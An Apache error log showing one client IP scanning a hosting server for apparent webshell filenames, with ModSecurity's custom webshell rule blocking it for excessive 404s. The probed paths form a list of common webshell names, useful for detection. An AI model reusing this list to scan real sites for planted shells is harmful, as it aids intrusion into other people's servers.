[Sun Apr 12 01:34:14.466010 2026] [:error] [pid 44698:tid 44722] [client 4.232.184.116:11084] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adqGFhgoH9UWd-U3D55gjgAAAJM"]
[Sun Apr 12 01:34:15.250919 2026] [:error] [pid 45064:tid 45114] [client 4.232.184.116:11029] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adqGF5cHBvLyJ6EUhUr90gAAAVU"]
[Sun Apr 12 01:34:15.789199 2026] [:error] [pid 44698:tid 44709] [client 4.232.184.116:11123] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adqGFxgoH9UWd-U3D55gkQAAAIY"]
[Sun Apr 12 01:34:16.463461 2026] [:error] [pid 44700:tid 44754] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/r9pbhistk1lifhnjadpCdefault.php
[Sun Apr 12 01:34:17.099193 2026] [:error] [pid 44700:tid 44754] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Sun Apr 12 01:34:17.371859 2026] [:error] [pid 44700:tid 44752] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/xxiviLDIot.php
[Sun Apr 12 01:34:17.605856 2026] [:error] [pid 44700:tid 44753] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/hanyatersenyum.php
[Sun Apr 12 01:34:17.850681 2026] [:error] [pid 44700:tid 44748] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php
[Sun Apr 12 01:34:18.084847 2026] [:error] [pid 44700:tid 44745] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/upll22.php
[Sun Apr 12 01:34:18.343158 2026] [:error] [pid 44700:tid 44756] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Sun Apr 12 01:34:18.576193 2026] [:error] [pid 44700:tid 44763] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Sun Apr 12 01:34:18.809592 2026] [:error] [pid 44700:tid 44764] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-243.php
[Sun Apr 12 01:34:19.044871 2026] [:error] [pid 44700:tid 44759] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/pm90apbv3v5fvgkbguyiCdefault.php
[Sun Apr 12 01:34:19.281612 2026] [:error] [pid 44700:tid 44762] [client 4.232.184.116:11020] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Apr 12 01:34:19.511586 2026] [:error] [pid 44700:tid 44757] [client 4.232.184.116:11020] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "adqGG2ryPgh_uW4QPClliAAAAM0"]
[Sun Apr 12 01:34:20.355606 2026] [:error] [pid 45064:tid 45097] [client 4.232.184.116:11028] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "adqGHJcHBvLyJ6EUhUr92wAAAUU"]
[Sun Apr 12 01:34:21.661924 2026] [:error] [pid 44701:tid 44800] [client 4.232.184.116:11153] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "adqGHRGZAP4MrlxEPFc5swAAAFg"]
[Sun Apr 12 01:34:22.656562 2026] [:error] [pid 44701:tid 44799] [client 4.232.184.116:11060] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "adqGHhGZAP4MrlxEPFc5uQAAAFc"]
[Sun Apr 12 01:34:24.079133 2026] [:error] [pid 34152:tid 34174] [client 4.232.184.116:11091] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adqGIIFtE4RhFslT1Dq94QAAABQ"]
[Sun Apr 12 01:34:26.011496 2026] [:error] [pid 34152:tid 34158] [client 4.232.184.116:11068] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adqGIoFtE4RhFslT1Dq94wAAAAQ"]
[Sun Apr 12 01:34:27.372193 2026] [:error] [pid 44701:tid 44789] [client 4.232.184.116:11118] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adqGIxGZAP4MrlxEPFc5ywAAAE4"]
[Sun Apr 12 01:34:29.230196 2026] [:error] [pid 44701:tid 44798] [client 4.232.184.116:11228] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adqGJRGZAP4MrlxEPFc50QAAAFY"]
[Sun Apr 12 01:34:32.274564 2026] [:error] [pid 44701:tid 44799] [client 4.232.184.116:11114] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adqGKBGZAP4MrlxEPFc50wAAAFc"]
[Sun Apr 12 01:34:33.934477 2026] [:error] [pid 45064:tid 45102] [client 4.232.184.116:11081] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adqGKZcHBvLyJ6EUhUr95wAAAUk"]
[Sun Apr 12 01:34:34.590558 2026] [:error] [pid 45064:tid 45098] [client 4.232.184.116:11177] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adqGKpcHBvLyJ6EUhUr96AAAAUY"]
[Sun Apr 12 01:34:35.297479 2026] [:error] [pid 36938:tid 36952] [client 4.232.184.116:11130] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adqGK4SWpa_VL1JPU6zc0wAAAYw"]
[Sun Apr 12 01:34:35.921070 2026] [:error] [pid 36938:tid 36962] [client 4.232.184.116:11133] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "adqGK4SWpa_VL1JPU6zc1wAAAZY"]
[Sun Apr 12 01:34:36.417031 2026] [:error] [pid 36938:tid 36961] [client 4.232.184.116:11120] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "adqGLISWpa_VL1JPU6zc2AAAAZU"]
[Sun Apr 12 01:34:37.176314 2026] [:error] [pid 44700:tid 44745] [client 4.232.184.116:11100] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "adqGLWryPgh_uW4QPClloQAAAME"]
[Sun Apr 12 01:34:37.699178 2026] [:error] [pid 36909:tid 36911] [client 4.232.184.116:11131] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "adqGLUGk5GhxTCzHUOoXagAAAQA"]
[Sun Apr 12 01:34:38.233179 2026] [:error] [pid 44698:tid 44716] [client 4.232.184.116:11065] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGLhgoH9UWd-U3D55gnQAAAI0"]
[Sun Apr 12 01:34:38.735846 2026] [:error] [pid 36938:tid 36956] [client 4.232.184.116:11077] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGLoSWpa_VL1JPU6zc4QAAAZA"]
[Sun Apr 12 01:34:39.270980 2026] [:error] [pid 36938:tid 36946] [client 4.232.184.116:11163] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGL4SWpa_VL1JPU6zc4wAAAYY"]
[Sun Apr 12 01:34:39.804641 2026] [:error] [pid 45064:tid 45109] [client 4.232.184.116:11073] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGL5cHBvLyJ6EUhUr96gAAAVA"]
[Sun Apr 12 01:34:40.660498 2026] [:error] [pid 44701:tid 44779] [client 4.232.184.116:11017] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adqGMBGZAP4MrlxEPFc53AAAAEc"]
[Sun Apr 12 01:34:41.250884 2026] [:error] [pid 44701:tid 44777] [client 4.232.184.116:11080] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adqGMRGZAP4MrlxEPFc54AAAAEU"]
[Sun Apr 12 01:34:42.631108 2026] [:error] [pid 36909:tid 36919] [client 4.232.184.116:11009] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adqGMkGk5GhxTCzHUOoXdQAAAQg"]
[Sun Apr 12 01:34:43.439466 2026] [:error] [pid 44701:tid 44775] [client 4.232.184.116:11035] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adqGMxGZAP4MrlxEPFc54gAAAEM"]
[Sun Apr 12 01:34:44.424175 2026] [:error] [pid 36938:tid 36955] [client 4.232.184.116:11108] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adqGNISWpa_VL1JPU6zc7AAAAY8"]
[Sun Apr 12 01:34:45.104143 2026] [:error] [pid 44701:tid 44791] [client 4.232.184.116:11219] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adqGNRGZAP4MrlxEPFc56gAAAFA"]
[Sun Apr 12 01:34:46.352865 2026] [:error] [pid 44701:tid 44789] [client 4.232.184.116:11051] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adqGNhGZAP4MrlxEPFc58wAAAE4"]
[Sun Apr 12 01:34:47.764641 2026] [:error] [pid 44701:tid 44777] [client 4.232.184.116:11127] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adqGNxGZAP4MrlxEPFc5_AAAAEU"]
[Sun Apr 12 01:34:49.869559 2026] [:error] [pid 45064:tid 45115] [client 4.232.184.116:11085] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adqGOZcHBvLyJ6EUhUr97QAAAVY"]
[Sun Apr 12 01:34:50.838161 2026] [:error] [pid 44698:tid 44724] [client 4.232.184.116:11102] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adqGOhgoH9UWd-U3D55gpAAAAJU"]
[Sun Apr 12 01:34:52.287106 2026] [:error] [pid 36938:tid 36959] [client 4.232.184.116:11187] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adqGPISWpa_VL1JPU6zc8gAAAZM"]
[Sun Apr 12 01:34:53.291180 2026] [:error] [pid 36938:tid 36951] [client 4.232.184.116:11094] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adqGPYSWpa_VL1JPU6zc9AAAAYs"]
[Sun Apr 12 01:34:54.276134 2026] [:error] [pid 34152:tid 34155] [client 4.232.184.116:11184] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adqGPoFtE4RhFslT1Dq-OgAAAAE"]
[Sun Apr 12 01:34:55.613986 2026] [:error] [pid 44700:tid 44762] [client 4.232.184.116:11024] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adqGP2ryPgh_uW4QPCllrwAAANI"]
[Sun Apr 12 01:34:56.359379 2026] [:error] [pid 45064:tid 45107] [client 4.232.184.116:11165] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adqGQJcHBvLyJ6EUhUr98gAAAU4"]
[Sun Apr 12 01:34:57.490968 2026] [:error] [pid 36909:tid 36924] [client 4.232.184.116:11042] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adqGQUGk5GhxTCzHUOoXnQAAAQ0"]
[Sun Apr 12 01:34:58.259100 2026] [:error] [pid 34152:tid 34164] [client 4.232.184.116:11041] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adqGQoFtE4RhFslT1Dq-QAAAAAo"]
[Sun Apr 12 01:34:59.783213 2026] [:error] [pid 36909:tid 36915] [client 4.232.184.116:11135] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adqGQ0Gk5GhxTCzHUOoXowAAAQQ"]
[Sun Apr 12 01:35:01.399838 2026] [:error] [pid 36938:tid 36944] [client 4.232.184.116:11180] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adqGRYSWpa_VL1JPU6zc-QAAAYQ"]
[Sun Apr 12 01:35:02.994353 2026] [:error] [pid 44701:tid 44799] [client 4.232.184.116:11057] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adqGRhGZAP4MrlxEPFc6NAAAAFc"]
[Sun Apr 12 01:35:05.123775 2026] [:error] [pid 34152:tid 34159] [client 4.232.184.116:11010] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adqGSYFtE4RhFslT1Dq-RwAAAAU"]
[Sun Apr 12 01:35:06.178372 2026] [:error] [pid 36938:tid 36944] [client 4.232.184.116:11231] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adqGSoSWpa_VL1JPU6zdCAAAAYQ"]
[Sun Apr 12 01:35:07.705515 2026] [:error] [pid 44698:tid 44709] [client 4.232.184.116:11103] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adqGSxgoH9UWd-U3D55gtgAAAIY"]
[Sun Apr 12 01:35:08.715608 2026] [:error] [pid 44698:tid 44722] [client 4.232.184.116:11172] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adqGTBgoH9UWd-U3D55gtwAAAJM"]
[Sun Apr 12 01:35:09.682176 2026] [:error] [pid 36938:tid 36942] [client 4.232.184.116:11022] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adqGTYSWpa_VL1JPU6zdEQAAAYI"]
[Sun Apr 12 01:35:10.419596 2026] [:error] [pid 36938:tid 36958] [client 4.232.184.116:10958] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adqGToSWpa_VL1JPU6zdEgAAAZI"]
[Sun Apr 12 01:35:11.330105 2026] [:error] [pid 44700:tid 44764] [client 4.232.184.116:11032] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adqGT2ryPgh_uW4QPClltwAAANQ"]
[Sun Apr 12 01:35:12.020817 2026] [:error] [pid 34152:tid 34154] [client 4.232.184.116:10966] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adqGUIFtE4RhFslT1Dq-WwAAAAA"]
